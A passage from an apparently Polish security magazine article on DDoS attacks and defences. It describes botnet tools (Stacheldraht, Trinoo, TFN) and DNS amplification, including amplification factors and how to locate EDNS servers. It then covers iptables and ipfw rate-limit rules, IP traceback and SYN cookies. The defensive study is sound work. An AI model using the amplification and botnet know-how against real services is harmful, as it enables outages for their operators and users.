matyczną  aktualizacje  oprogramo-
wania  na  zombie  poprzez  wydanie 
polecania  .distro,  po  którym  wspo-
mniane komputery poprzez komen-
dę  rcp  ściągają  najnowszą  wersję 
trojana  z  podanej  wcześniej  przez 
.distro strony. Każdy zombie ma za-
kodowany adres IP komputerów za-
rządzających  (przy  uruchomieniu 
łączy się z zarządcą). Ten zaś nie 
zna  adresu  IP  atakującego  -  tylko 
nasłuchuje i czeka na rozkazy. Jest 

to  dla  atakującego  względnie  bez-
pieczna  forma  działania,  gdy  coś 
się  dzieje,  wówczas  wystarczy  za-
trzeć ślady na komputerach zarzą-
dzających. Jakie są wady tego sys-
temu ? System jest łatwy do wykry-
cia zarówno na zarządcy jak i zom-
bie. Widać pootwierane porty TCP. 
Nie  są  stosowane  żadne  techniki 
modyfikacji  kernela  mające  na  ce-
lu  ukrywanie  procesów  czy  plików. 
Forma  obrony:  jak  przed  każdym 
wirusem czy koniem trojańskim: ak-
tualizować system, firewall ze ściśle 
dopasowanymi  regułami,  program 
antywirusowy.

Trinoo

Poprzednik  Stacheldrahta.  Znacz-
nie  prostszy,  o  trój  warstwowej  ar-
chitekturze,  ale  umożliwia  jedynie 
ataki  UDP.  Oprócz  standardowej 
-  tekstowej  wersji,  powstała  rów-
nież  nakładka  pod  windows  -  win-
trinoo - co przyczyniło się do dużej 
popularności  tego  narzędzia  wśród 
mało  zaawansowanych  użytkowni-
ków  sieci.  Trinoo  nie  wykorzystuje 
ICMP  do  komunikacji.  Posiada  te 
same wady co Stacheldraht. Forma 
przeciwdziałania i obrony: podobnie 
jak Stacheldraht.

TFN

Tribe flood network - poprzednik Sta-
cheldrahta.  Znacznie  prostszy,  też 
o  trój  warstwowej  architekturze, 
umożliwia więcej ataków niż Trinoo, 
jednak nie wykorzystuje szyfrowania 
i  uwierzytelniania.  Posiada  te  same 
wady  co  Stacheldraht.  Forma  prze-
ciwdziałania  i  obrony:  podobnie  jak 
Stacheldraht.

Ataki na serwery DNS 

W  ostatnim  czasie  bardzo  modne 
są ataki DDoS przeprowadzane na 
serwery  DNS.  Zazwyczaj  znacz-
nie  łatwiej  unieruchomić  serwer 
DNS  odpowiedzialny  za  rozróżnia-
nie  nazwy  domenowej  na  dany  IP 
niż dobrze skonfigurowany i zabez-
pieczony  serwer  docelowy.  Więk-
szość użytkowników nie zna na pa-
mięć adresu IP serwera udostępnia-
jącego  usługi,  z  których  korzysta 
więc  jest  to  dość  skuteczny  atak. 

Rysunek 3. 

Stacheldraht - przykładowa sesja

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

20

Jednocześnie ma on znacznie więk-
szy  zasięg,  ponieważ  potencjalnie 
uniemożliwia dostęp do większej ilo-
ści  serwerów.  Jeśli  celem  jest  bar-
dzo popularny serwer, jego adres IP 
i  nazwa  domeny  może  być  kaszo-
wana  przez  inne  serwery  DNS,  co 
może  zmniejszyć  skuteczność  ata-
ku. Często serwery DNS sieci lokal-
nych pełnią funkcje kaszujące dzięki 
czemu korzystający z nich użytkow-
nicy  mogą  być  przez  pewien  czas 
odporni na atak na docelowy serwer 
DNS, ponieważ ich lokalny DNS ka-
szujący nie kontaktuje się z docelo-
wym  serwerem  DNS  tak  długo  jak 
długo dla danego rekordu dns wpis 
jest  aktualny  –  zazwyczaj  jest  to  1 
dzień (default TTL). 

Ataki z użyciem 

serwerów DNS 

Kolejną, bardzo chętnie wykorzysty-
waną  formą  ataków  jest  używanie 
serwerów  DNS  jako  wzmacniaczy 
ataku. Na dodatek sprawę pogarsza 
fakt, że w sieci jest bardzo wiele ser-
werów  zwanych  open  resolver.  Po-
zwalają one na rekursywne zapyta-
nia całemu światu (zamiast tylko za-
ufanym hostom). Jest tu analogia do 
terminologii  open  relay  stosowanej 
w  przypadku  serwerów  SMTP,  któ-
re pozwalają na wysyłanie wiadomo-
ści  z  podanego  serwera  wszystkim 
użytkownikom  internetu  -  zamiast 
tylko  niektórym  (uwierzytelnionym 
w  jakikolwiek  sposób).  Łatwo  wy-
obrazić sobie atak, w którym do po-
średniczącego serwera DNS wysła-
ne  jest  rekursywne  zapytanie  o  fik-
cyjną  domenę  hackin9.org  ze  sfał-
szowanym adresem źródłowym IP1. 
Zapytanie  to  jest  maksymalnie  zmi-
nimalizowane i (w zależności od na-
zwy domeny) zawiera około 60 baj-
tów. Pytamy o wszystkie typy rekor-
dów4.  Pośredniczący  serwer  DNS 
zacznie wypytywać po kolei serwery 
DNS - zaczynając od korzenia, aż w 
końcu otrzyma odpowiednie dane. W 
zależności od wybranej domeny mo-
że to być nawet kilkaset bajtów, któ-
re zostają zwrócone pod sfałszowa-
ny  adres  IP1,  który  jest  celem  ata-
ku.  W  RFC1035  maksymalny  roz-
miar UDP jest określony na 512. Da-

tagramy  UDP  są  preferowane  tam 
gdzie  to  możliwe.  Segmenty  TCP 
są  narzucane  dla  transferów  strefy. 
Użycie UDP jest konieczne do prze-
prowadzenia  ataku  ze  względu  na 
sfałszowany  adres  źródłowy.  5.  Je-
śli przyjąć, że uda się osiągnąć 500 
bajtów  odpowiedzi  można  uzyskać 
wzmocnienie  ponad  8,  co  oznacza 
że  przy  strumieniu  1Mbit/s  ze  stro-
ny  atakującego  serwer  docelowy 
jest  zalewany  strumieniem  8Mbit/s. 
Co  daje  możliwość  zadawania  py-
tań  rekursywnych  ?  Można  kontro-
lować, które serwery DNS będą od-
pytywane  zanim  odpowiedź  zosta-
nie odesłana do ofiary. Można rów-
nież odpytywać samą ofiarę (serwer 
DNS danej organizacji, który często 
jest  w  tym  samym  segmencie  sieci 
co  atakowany  serwer).  Zaletą  tech-
niki wzmocnienia przez DNS jest to 
że datagramy UDP/53 są przepusz-
czane  przez  większość  routerów  - 
w przeciwieństwie do np: ICMP echo 
i reply używanego przez smurf. Jed-
nak  to  dopiero  początek.  Okazu-
je  się,  że  można  uzyskać  znacznie 
większe  wzmocnienie.  Coraz  bar-
dziej  popularne  stają  się  rozsze-
rzenia  protokołu  DNS  zdefiniowa-
ne np: w RFC2671, które umożliwia 
udzielanie  odpowiedzi  w  datagra-
mach  UDP  przekraczających  roz-
miar  4000  bajtów.  Wystarczy  tylko 
znaleźć  odpowiedni  serwer  DNS, 
a  wtedy  wzmocnienia  rzędu  70  są 
możliwe.  Przy  użyciu  narzędzi  ta-
kich  jak  Stacheldraht,  kontrolując 
nawet  niewielką  liczbę  zombie  np: 
1000,  można  uzyskać  wzmocnie-
nie rzędu 70000, czyli atakując stru-
mieniem 64kbit/s można zapchać łą-
cze 4Gbit/s. Aby wyszukać serwery 
EDNS wystarczy napisać skrypt wy-
syłający  jakiekolwiek  zapytanie,  po 
czym sprawdzić odpowiedź pod ką-
tem rozszerzonego pola RCODE (w 
którym  pole  VERSION  wynosi  0.). 
Można  też  wysłać  rozszerzone  za-
pytanie  i  jeśli  RCODE  odpowiedzi 
jest  inny  niż  NOTIMPL,  SERVFAIL 
czy  FORMERR  wówczas  jest  duża 
szansa  na  to,  że  to  serwer  EDNS. 
Badania pokazują, że liczba serwe-
rów, zarówno dawniej jak i dziś, po-
zwalających  wszystkim  na  wykony-

wanie zapytań rekursywnych wyno-
si około 75%[1],[3] a nawet 80%[2]. 
Aby zabezpieczyć się przed tego ty-
pu atakami należy wyłączyć na ser-
werze  możliwość  obsługi  zapytań 
rekursywnych  dla  niezaufanych  ho-
stów.  Dobrą  praktyką  jest  też  ogra-
niczenie  możliwości  transferu  stre-
fy (choć tutaj nie ma bezpośrednie-
go zagrożenia jeśli chodzi o DDoS). 
Należy pamiętać jednak, że powyż-
sze  kroki  nie  gwarantują  ochrony, 
ponieważ  i  bez  zapytań  rekursyw-
nych  można  przeprowadzić  atak 
DDoS.  Na  dodatek  ofiarą  mogą 
paść  dobrze  zabezpieczone  sieci 
i serwery, który zostały zaatakowane 
poprzez słabo zabezpieczonych po-
średników. W celu ochrony przed te-
go typu atakami zaleca się zastoso-
wanie  mechanizmów,  o  których  bę-
dzie mowa w kolejnych rozdziałach.

Masowe ataki (D)DoS 

Ostatnio pojawiło się kilka publika-
cji związanych z analizą wykrywal-
ności  masowych  ataków  DDoS.  W 
[4],[5]  autorzy  argumentują  że  po-
siadając  milion  komputerów  pod 
swoją  kontrola  można  przeprowa-
dzać  ataki  DDoS,  które  są  na  tyle 
rozproszone,  że  wykrycie  ich  przy 
użyciu  dzisiejszych  technik  wydaje 
się  być  niemożliwe.  Każdy  z  kom-
puterów  zombie  wykonuje  najzwy-
klejsze  połączenie  z  usługą  ser-
wera.  Nie  sposób  rozróżnić  po-
prawnych  połączeń  dokonywanych 
przez  uprawnionych  użytkowników 
od  połączeń  dokonywanych  przez 
zombie.  Z  punktu  widzenia  ataku-
jącego setki tysięcy komputerów w 
jednej  chwili  próbują  połączyć  się 
z  ofiarą.  Zaatakowany  serwer  nie 
ma  praktycznie  żadnej  możliwości 
obrony  przed  takim  atakiem.  Jest 
to  bardzo  poważny  problem,  któ-
ry wraz ze wzrostem ilości maszyn 
podłączonych  do  Internetu  będzie 
się  nasilał.  W  celu  zapobiegania  - 
albo  przynajmniej  minimalizowania 
takiego  ataku  potrzebne  są  kom-
pleksowe działania na większą ska-
lę.  Należą  do  nich:  instalacja  wy-
dajnych mechanizmów wykrywania 
DDoS w wielu punktach sieci takich 
jak styk między ISP a użytkownika-

background image

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

21

mi,  routery  brzegowe  czy  firewalle 
małych i dużych firm podpiętych do 
Internetu.

Obrona przed atakami 

(D)DoS 

W tym rozdziale zostanie omówiony 
szereg mechanizmów związanych z 
obroną i przeciwdziałaniem atakom 
DDoS.  Na  początku  dokonana  zo-
stanie  próba  klasyfikacji  systemów 
obrony  po  czym  przeanalizowane 
zostaną  sposoby  rozmieszczenia 
detektorów oraz najprostsze techni-
ki i narzędzia, które można potocz-
nie  wykorzystać  w  celu  przeciw-
działania lub zmniejszania skutków 
ataków DDoS. Następnie zaprezen-
towane zostaną mechanizmy zwią-
zane z namierzeniem sprawcy ata-
ku takie jak ICMP Traceback, IP Re-
cord Route Traceback oraz IP Tra-
ceback. W dalszej części mechani-
zmy  Syncookie  i  Synache,  mające 
zabezpieczać  przed  atakami  Syn 
flood. Potem – DnsGuard pracujący 
jak DNS proksy - mający na celu za-
bezpieczenie przed atakami z uży-
ciem  serwerów  DNS  jako  wzmac-
niaczy.  Następnie  system  DWARD 
umiejscowiony  blisko  źródła  ataku. 
Na koniec system SPUNNID bazu-
jący na nienadzorowanej sieci neu-
ronowej ART-1.

Klasyfikacja 

Przede  wszystkim  trzeba  się  za-
stanowić,  co  znaczy  obrona  przed 
atakami  DDoS.  Czy  to  znaczy,  że 
do takiego ataku nigdy nie dojdzie 
z  racji  zastosowanych  mechani-
zmów?  Oczywiście  takie  systemy 
istnieją.  Jednak  zazwyczaj  ich  im-
plementacja  wiąże  się  z  gruntow-
nymi  zmianami  w  funkcjonowaniu 
IP,  bądź  protokołów  wyższej  war-
stwy,  które  mają  być  chronione. 
W  takich  sytuacjach  trzeba  stoso-
wać kosztowne, nierzadko - sprzę-
towe  rozwiązania.  Implementa-
cja  takich  rozwiązań  na  szerszą 
skalę  jest  mało  prawdopodobna. 
Wiele  innych  systemów  dokonu-
je  znacznie  mniejszych  modyfika-
cji  związanych  z  protokołem,  jed-
nak  z  związku  z  tym  posiada  wie-
le wad i ograniczeń. Takim przykła-

dem może być Syncookie. Dlatego 
często stosuje się rozwiązania hy-
brydowe jak np: połączenie Synco-
okie z Syncache. Inne systemy ta-
kie jak DnsGuard czy DWARD nie 
wymagają  dokonywania  żadnych 
zmian  w  protokole  lecz  pełnią  je-
dynie  funkcje  pośredników  pomię-
dzy  klientem  a  serwerem.  Osob-
ną grupę stanowią systemy namie-
rzające mające na celu śledzenie i 
wykrywanie ataków. Można do nich 
zaliczyć techniki związane z ICMP 
czy  IP  Traceback.  Bazują  one  na 
takiej  modyfikacji  routerów  biorą-
cych  udział  w  przekazywaniu  pa-
kietów, aby do każdego z tych pa-
kietów  (albo  tylko  niektórych)  do-
dawać pewne informacje, które po-
zwolą odbiorcy na określenie i na-
mierzenie  oryginalnego  nadawcy 
tych  pakietów.  Bez  użycia  takich 
systemów  takie  namierzanie  mo-
że  być  skutecznie  uniemożliwione 
przez  spoofing.  Systemy  te  więc 
nie chronią przed atakami, ale po-
zwalają na namierzenie sprawców. 
Inną grupą stanowią systemy, któ-
re wykrywają już trwający atak i mi-
nimalizują  jego  skutki  np:  blokując 
ruch  pakietów  które  są  przyczyną 
ataku. Budowa i implementacja ta-
kiego  systemu  wydaje  się  prosta: 
wystarczy  przed  routerem  brzego-
wym  firmy  wstawić  czarną  pusz-
kę,  która  będzie  blokowała  wszel-
kie ataki a przepuszczała dozwolo-
ny ruch. Jednak okazuje się to nie-
zwykle  trudne.  Przede  wszystkim: 
jak  rozróżnić  pakiety  IP,  które  po-
chodzą od uprawnionych użytkow-
ników a jak te, które są częścią ata-
ku DDoS ? Nawet jeśli uda się od-
powiedzieć na poprzednie pytanie, 
to co zrobić dalej ? Czy zablokować 
konkretne adresy IP ? Jeśli tak, to 
które ? Trzeba pamiętać o tym, że 
podczas ataków DDoS adresy źró-
dłowe  pakietów  są  prawie  zawsze 
fałszowane. Na te i wiele innych py-
tań  nie  udało  się  na  razie  udzielić 
jednoznacznej odpowiedzi, dlatego 
badania w tej dziedzinie trwają. Po-
wstaje wiele specjalizowanych sys-
temów,  które  są  skuteczne  tylko 
w  pewnych  okolicznościach.  Jest 
wiele  innych  klasyfikacji  systemów 

ochrony przed DDoS. Jedną z nich 
może  być  umiejscowienie  detekto-
ra,  co  zostanie  omówione  dokład-
niej w następnym rozdziale.

Umiejscowienie 

detektora DDoS 

Warto  przeanalizować,  ponieważ 
wnioski  te  są  wspólne  dla  więk-
szości  systemów.  Jakie  są  zale-
ty  umiejscowienia  blisko  celu  ata-
ku  ?  Przede  wszystkim  widać  ca-
ły  ruch  więc  można  łatwo  wykryć, 
że nastąpił atak DDoS. Jednak bar-
dzo  trudno  rozpoznać,  jaka  część 
ruchu  odpowiada  za  ten  atak  oraz 
kto jest atakującym. Ze względu na 
duże natężenie ruchu potrzebne są 
duże wymagania co do wydajności 
sprzętu  analizującego  ruch.  Takich 
wad nie ma w przypadku ulokowa-
nia  detektora  blisko  źródła  ata-
ku.  Wtedy  ruch  jest  niewielki,  ła-
twiej  wykryć  i  zablokować  pakiety 
ze sfałszowanymi adresami źródło-
wymi. Jednak w przypadku zmaso-
wanych DDoS z bardzo dobrym roz-
proszeniem  nie  da  się  wykryć  ata-
ku,  ponieważ  wygląda  on  jak  zwy-
czajny ruch. Innym problemem - ra-
czej socjologicznym - jest to, że ad-
ministratorzy takich sieci niechętnie 
implementują takie zabezpieczenia, 
ponieważ  służą  one  ochronie  in-
nych sieci a nie ich (chronią internet 
przed atakiem z ich sieci). Ostatnia 
możliwość to ulokowanie detektora 
w  sieci  szkieletowej.  Przez  routery 
szkieletowe przepływa bardzo wiel-
ki ruch, dlatego stosuje się tam bar-
dzo wyspecjalizowane mechanizmy 
detekcji.  Takim  przykładem  może 
być technika PCF(Prtial Completion 
Filter)[6],  która  umożliwia  analizę  i 
detekcję bez zapamiętywania stanu 
każdego  połączenia  TCP.  Jednak 
trzeba pamiętać o mechanizmie ro-
utingu  IP  i  tym,  że  pewne  pakiety 
mogą przechodzić przez pewien ro-
uter  szkieletowy,  ale  mogą  wracać 
przez zupełnie inny router. Z związ-
ku z tym zaburzona może być rów-
nowaga  symetryczności  zapytań  i 
odpowiedzi - co niestety wyklucza, 
albo znacznie utrudnia wykorzysta-
nie  szeregu  technik  detekcji.  Naj-
lepszym  wyjściem  wydaje  się  być 

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

22

stosowanie  detektorów  wyspecja-
lizowanych  -  każdy  w  innym  miej-
scu sieci.

Proste mechanizmy 

Zostaną  tutaj  omówione  proste  roz-
wiązania,  których  implementacja 
jest  szybka  a  jednocześnie  nie  ła-
mie  żadnych  specyfikacji  protoko-
łów  TCP/IP.  Oczywiście  oferowa-
ny poziom zabezpieczenia tych roz-
wiązań  pozostawia  wiele  do  życze-
nia, jednak jest to zawsze jakaś for-
ma obrony.

Iptables

Użytkownicy systemu Linux mają do 
dyspozycji bardzo przydatne rozsze-
rzenia iptables zwane Path-O-Matic. 
Jednym  z  modułów  którego  można 
użyć jest fuzzy implementujący me-
chanizmy logiki rozmytej (TSK FLC). 
Przykładowo:

iptables -A INPUT -m fuzzy --lower-

limit 

100 --upper-limit 1000 -j REJECT

Poniżej  100  pakietów  na  sekundę 
filtr jest nieaktywny, od 100 do 1000 
średni  poziom  akceptowalności  bę-
dzie spadał ze 100% dla 100 pakie-
tów na sekundę do 1% dla 1000 pa-
kietów na sekundę. Powyżej tej war-
tości  poziom  akceptowalności  bę-
dzie wynosił 1% (czyli średnio 99% 
pakietów zostanie odrzucona). Moż-
na  również  wykorzystać  moduł  ipli-
mit, na przykład:

iptables -A INPUT -p tcp --syn --dport 

http 

-m iplimit --iplimit-mask 8 
--iplimit-above 4 -j REJECT

pozwoli  na  dostęp  do  serwera 
www, jeśli dla każdej klasy A ilość 
nowych połączeń będzie poniżej 4 
na sekundę. Jeśli zastosujemy ma-
skę  32  to  ograniczenie  to  będzie 
nałożone na każdy pojedynczy ad-
res IP.

Warto również skorzystać z mo-

dułu  ipv4options  w  celu  odrzucenia 
pakietów,  które  wykorzystują  opcję 
dokładnych  punktów  routowania. 
Atakujący może w ten sposób usta-

lić dokładną ścieżkę, po jakiej ma na-
stąpić atak: 

iptables -A INPUT -m ipv4options --ssrr 

-j DROP

Można  również  samemu  wyciąć 
wszystkie opcje IP: 

iptables -t mangle -A PREROUTING -j 

IPV4OPTSSTRIP

Innym zagrożeniem są duże komu-
nikaty ICMP. Mogą być one oznaką 
ataku DoS lub też np: tajnych pole-
ceń przesyłanych do maszyn będą-
cych  pod  kontrolą  rootkitów.  Dla-
tego  można  wykorzystać  moduł 
length: 

iptables -A INPUT -p icmp --icmp-type 
echo-request -m length 
--length 90:0xffff -j DROP

co  spowoduje  wycięcie  wszystkich 
ICMP echo-request z rozmiarem po-
wyżej 90 bajtów. 

Warto również skorzystać z pkt-

type  do  blokowania  komunikatów 
broadcast czy multicast np: 

iptables -A INPUT -m pkttyp 
--pkt-type broadcast -j DROP

Można  również  próbować  nakładać 
quote na ilość danych przesłanych w 
pakietach SYN: 

iptables -A INPUT -p tcp --syn 
--dport http -m quota --quota 10000 -j 

ACCEPT

po  czym  blokować  pakiety  SYN 
przekraczające tę quotę (np: dla nie-
zaufanych hostów). 

Czasami  warto  odrzucać  pewną 

liczbę pakietów np: 

iptables -A INPUT -p icmp --icmp-type 
echo-request -m random --avarage 90 -j 

DROP

co odrzuci 90% pakietów ICMP echo-

request. 

Można  również  próbować  karać 
czasowo  niedozwolone  zachowa-
nie np: 

iptables -A INPUT -p icmp --icmp-type 
echo-request -m recent --name badguy --

set -j DROP

iptables -A INPUT -m recent --name 

badguy 

--rcheck --seconds 60 -j DROP

co  zablokuje  na  kolejne  60  sekund 
użytkowników,  którzy  próbowali 
przesłać ICMP echo. 

Aby  zabezpieczyć  się  przed 

spoofowanym  atakiem  z  warto-
ściami  TTL  osiągającymi  1  (odpo-
wiedź  ICMP  time  exceeded)  moż-
na  blokować  pakiety  z  TTL  mniej-
szymi niż 2: 

iptables -A INPUT -m ttl --ttl-lt 2 -j 

DROP

Pod Linuxem można oczywiście pró-
bować  radzić  sobie  z  atakami  DoS 
konstruując  odpowiedni  mecha-
nizm  sterowania  przepływem  jak 
CBQ[11].  Jednak  takie  rozwiązanie 
mogłoby  przynieść  sensowny  sku-
tek  tylko  w  przypadku  ,  gdy  są  ja-
sno  określeni  uprzywilejowani  użyt-
kownicy, będącymi głównymi odbior-
cami usługi. Wtedy adresy te byłyby 
skierowane  przez  filtr  (np:  u32)  do 
kolejki dającej szersze pasmo, nato-
miast cała reszta użytkowników tra-
fiałaby  do  kolejki  o  znacznie  węż-
szym paśmie. To rozwiązanie jednak 
nie ochroni przed atakami Syn flood 
i spoofingiem.

ipfw 

Użytkownicy  FreeBSD  nie  mają  aż 
takiego  wyboru  jeśli  chodzi  o  moż-
liwości firewalla (w sumie pf ma po-
dobne  możliwości  co  do  ipfw  więc 
nie będzie omawiany oddzielnie). Co 
prawda  można  np:  blokować  20% 
ICMP echo: 

add 1000 prob 0.8 allow icmp 
from any to any in icmptypes 8

Jednak  brakuje  wielu  innych  opcji 
związanych z quotą, dostępem cza-
sowym, karami czasowymi czy kon-
trolą  długości  pakietów.  Podobnie 
jak dla Linuxa CBQ użytkownicy ro-
dziny  BSD  mają  do  dyspozycji  AL-
TQ. Do ograniczania pasma bardzo 

background image

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

23

dobrym  mechanizmem  jest  również 
dummynet.

ICMP traceback 

ICMP  traceback  jest  techniką,  któ-
ra nie służy do wykrywania czy za-
pobiegania atakom DDoS. Służy do 
namierzania źródła względnie dużej 
liczby pakietów. W tym celu routery 
przekazujące  pakiety  muszą  raz  na 
około  20000(do  dostrojenia)  prze-
słanych  pakietów  wysłać  nowy  ko-
munikat - ICMP Traceback, w którym 
zawarte są dane o pochodzeniu te-
go pakietu. Dzięki temu podczas ata-
ku  DDoS  atakujący  dostanie  pew-
ną liczbę pakietów ICMP traceback, 
które po odpowiednim  sklejeniu po-
każą  mu  całą  ścieżkę  ataku.  Wa-
dą  tego  rozwiązania  są  komunikaty 
ICMP, które są często filtrowane. Po-
za tym atakujący może wysyłać fał-
szywe ICMP Traceback. W tym ce-
lu  zaproponowano  już  użycie  infra-
struktury klucza publicznego, jednak 
na razie nic się nie przyjęło na szer-
szą skalę.

IP Record Route Traceback 

Do  namierzania  atakującego  moż-
na  również  wykorzystać  routery, 
które  routowałyby  pakiety  IP  uak-
tywniając  opcję  IP  Record  Ro-
ute.  Dzięki  temu  każdy  kolejny  ro-
uter doklejałby swój adres IP do po-
la  opcji  nagłówka  IP.  Jednak  wią-

że  się  to  z  szeregiem  problemów 
–  jest  to  rozwiązanie  opcjonalne  a 
niektóre  routery  mogą  nawet  wy-
ciąć  te  dodatkowe  pola.  Najwięk-
szym  problemem  jest  jednak  roz-
miar pola opcji. Pole IP header len 
to tylko 4 bity więc cały nagłówek IP 
jest  ograniczony  do  15  słów  32-bi-
towych (60 bajtów). Odejmując nie-
zmienną  długość  nagłówka  IP  (20 
bajtów),  opcję  RR  (3  bajty),  pozo-
staje 37 bajtów co pozwala zapisać 
do 9 adresów IP. Niestety jest to za 
mało.  Na  dodatek  atakujący  może 
wygenerować pakiety IP już z jaki-
miś  opcjami,  które  zajmują  cenne 
miejsce  w  nagłówku,  co  praktycz-
nie mogłoby całkowicie zniwelować 
użycie powyższej techniki. Dlatego 
nie jest ona szerzej używana.

IP traceback

Jest  nowszą  i  lepszą  techniką  na-
mierzania.  Rozróżnia  się  dwie  wer-
sje tej techniki: Node sampling i Ed-
ge sampling.

Node Sampling

Do  nagłówka  IP  doklejana  jest  no-
wa opcja z tylko jednym 32 bitowym 
adresem.  Każdy  router  na  ścieżce 
z  pewnym  małym  prawdopodobień-
stwem p wpisuje w to pole swój ad-
res IP. Atakowany po odebraniu du-
żej liczby pakietów jest w stanie od-
tworzyć  ścieżkę  ataku.  Wystarczy 

porównać ilości pakietów z tymi sa-
mymi adresami IP. Im mniej jest pa-
kietów z danym adresem IP tym bli-
żej źródła znajduje się router z tym 
adresem.  Wadą  tej  metody,  oprócz 
doklejania  niestandardowej  opcji  do 
nagłówka  IP,  jest  niemożliwość  na-
mierzenia  wielu  źródeł  ataku.  Jeśli 
następuje  on  z  wielu  adresów  (wie-
le ścieżek) na raz nie da się ich od-
tworzyć.  Obie  wady  eliminuje  kolej-
na technika.

Edge Sampling

Wszystkie  dodatkowe  informa-
cje  zapisuje  się  w  16-bitowym  po-
lu  Identification  nagłówka  IP.  Nor-
malnie wykorzystywane jest ono do 
sklejania sfragmentowanych pakie-
tów  IP.  Zakłada  się  więc,  że  frag-
mentacja nie będzie wykorzystana. 
Jest  to  dość  racjonalne  założenie, 
jeśli uwzględni się, że dziś wiele ro-
uterów,  ze  względów  bezpieczeń-
stwa nie przekazuje sfragmentowa-
nych  pakietów  IP.  Edge  Sampling 
polega  na  tym,  że  każdy  router  z 
pewnym  małym  prawdopodobień-
stwem  próbuje  dokonać  zapisu  in-
formującego o ścieżce. Wymagane 
tutaj pola to start address, end ad-
dress oraz distance field. Pierwszy 
router, który postanowi dokonać za-
pisu wpisuje swój adres w pole po-
czątkowego adresu, po czym usta-
wia dystans na 0. Każdy kolejny ro-

Rysunek 4. 

Edge sampling - przesyłanie adresów jako XOR 

Routers

in path

victim

Marked

packets

a

b

c

d

a

b

c

d

d

Path reconstruction

at victim

Reconstructed

path

a       b

a       b

b       c

b       c

c       d

c       d

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

24

uter,  który  chce  dokonać  zapisu, 
wpisuje  swój  adres  w  pole  końco-
we. Każdy router, który przekazuje 
pakiety, bez względu na to czy po-
stanawia  dokonać  zapisu  czy  nie, 
zwiększa  o  1  pole  dystansu.  Ata-
kowany,  w  celu  odkrycia  ścieżek 
ataku wykorzystuje podobną zasa-
dę  jak  w  Node  Sampling.  Prawdo-
podobieństwo  jakiegokolwiek  za-
pisu  rośnie  wraz  z  odległością  od 
źródła ataku. Pola startowe i końco-
we umożliwiają wykrycie wielu ście-
żek ataku. Przykładowo jeśli atako-
wany otrzyma przybliżoną ilość pa-
kietów  z  tymi  samymi  wartościami 
odległości,  i  różnymi  adresami  po-
czątkowymi to znaczy, że są one na 
różnych  ścieżkach.  Jeśli  otrzyma 
pakiety  z  tymi  samymi  wartościa-
mi odległości, tymi samymi adresa-
mi końcowymi, ale rożnymi adresa-
mi początkowymi to wie, że gdzieś 
pomiędzy  nastąpiło  połączenie  się 
ścieżek. Analiza ilościowa dla każ-
dej  grupy  pakietów  (pogrupowa-
nych  według  dystansu,  adresu  po-
czątkowego  i  końcowego)  pozwala 
dokładnie  stwierdzić  gdzie.  Oczy-
wiście  wszystko  przy  założeniu, 
że  odebrano  dużą  liczbę  pakietów 
-  co  ma  miejsce  w  przypadku  ata-
ku  DDoS.  Na  początku  wspomnia-
łem,  że  wykorzystuje  się  16  bito-
we pole do zapisania tych informa-
cji,  a  tymczasem  widać,  że  na  ra-
zie jest to 32+32(oba adresy)+8(dy-
stans)=70 bitów. Dlatego do techni-
ki tej wprowadzono szereg mecha-
nizmów i zabiegów kompresujących 
będących  kompromisem  pomię-
dzy  dokładnością  (zależną  od  ilo-

ści odebranych pakietów) a rozmia-
rem  doklejanych  informacji,  dzię-
ki któremu udaje się zmieścić w 16 
bitach.  Pierwsza  sztuczka  polega 
na  przesyłaniu  adresów  poszcze-
gólnych  routerów  jako  suma  XOR. 
Dzięki  temu  wystarczy  jedno  pole 
adresu  a  nie  dwa,  a  dzięki  odwra-
calności XOR łatwo jest odtworzyć 
wszystkie adresy zaczynając anali-
zę od ofiary.

Kolejna sztuczka polega na po-

dzieleniu  adresu  na  k  części  i  wy-
syłanie  na  raz  tylko  jednej  z  nich 
oraz  przesunięcia  informujące-
go  o  tym,  która  to  część.  Oczywi-
ście  zwiększa  to  ilość  pakietów  ja-
kie trzeba przesłać, jednak przy du-
żej  ilości  (DDoS)  w  końcu  wszyst-
kie  fragmenty  każdego  pakietu  do-
trą.  Ostatnia  modyfikacja  naprawia 
problem, który pojawia się przy oka-
zji  wprowadzenia  drugiej  -  nie  uni-
katowości  fragmentów.  Przy  wielu 
ścieżkach ataku może się zdarzyć, 
że ofiara otrzyma wiele fragmentów 
z  tym  samym  przesunięciem  i  dy-
stansem, jednak należą one do róż-
nych  adresów  (sum  XOR).  Dlatego 
wprowadzono  prosty  mechanizm 
detekcji błędów. Adres przepleciono 
z jego skrótem - i takie dane powy-
syłano  w  k  fragmentach.  Nadal  za 
każdym razem przesyła się tyle sa-
mo danych, jednak potrzeba dwa ra-
zy więcej pakietów, żeby zebrać ca-
ły sfragmentowany pakiet. Sklejony 
pakiet jest akceptowany tylko wtedy, 
gdy  wartość  adresu  zgadza  się  ze 
skrótem z niego wyliczonym.

Finalnie przesyłany fragment ma 

rozmiar 8 bitów. W każdej porcji da-

nych jest 8 fragmentów (co daje 32 
bity na adres + 32 bity na skrót), więc 
na ilość fragmentów są 3 bity. Na dy-
stans wystarcza swobodnie 5 bitów. 
W efekcie dostajemy bardzo spraw-
ny i wydajny system służący do na-
mierzenia źródła ataku, modyfikują-
cy jedynie pole identyfikacji nagłów-
ka IP.

Syncookie

Jest  techniką  mającą  na  celu  obro-
nę przed atakami Syn flood. Polega 
na tym, że po odebraniu przez ser-
wer pakietu z flagą SYN nie zapisuje 
on żadnych informacji w kolejce po-
łączeń  nasłuchujących.  Zamiast  te-
go  w  odpowiedzi  SYN,ACK  inicja-
lizuje  pole  ISN  (początkowy  numer 
sekwencyjny  TCP)  na  pewną  okre-
śloną wartość - zwaną ciasteczkiem. 
Klient  zobowiązany  jest,  zgodnie  z 
protokołem  TCP  na  odpowiedzenie 
pakietem  ACK  z  wartością  numeru 
sekwencyjnego  równą  ISN+1.  Do-
piero  po  odebraniu  tej  odpowiedzi 
serwer odczytuje ciasteczko i spraw-
dza jego poprawność. Jeśli jest po-
prawne zostaje nawiązane połącze-
nie TCP. Jeśli nie - pakiet taki zostaje 
odrzucony. Serwer utrzymuje 32 bi-
towy licznik czasowy t zwiększany o 
1 co 64 sekundy. Podczas inicjaliza-
cji w ISN zapisywane są: t modulo 32 
(5 najmłodszych bitów t), skrót MD5 
z adresów źródłowego i docelowego, 
portu źródłowego i docelowego oraz 
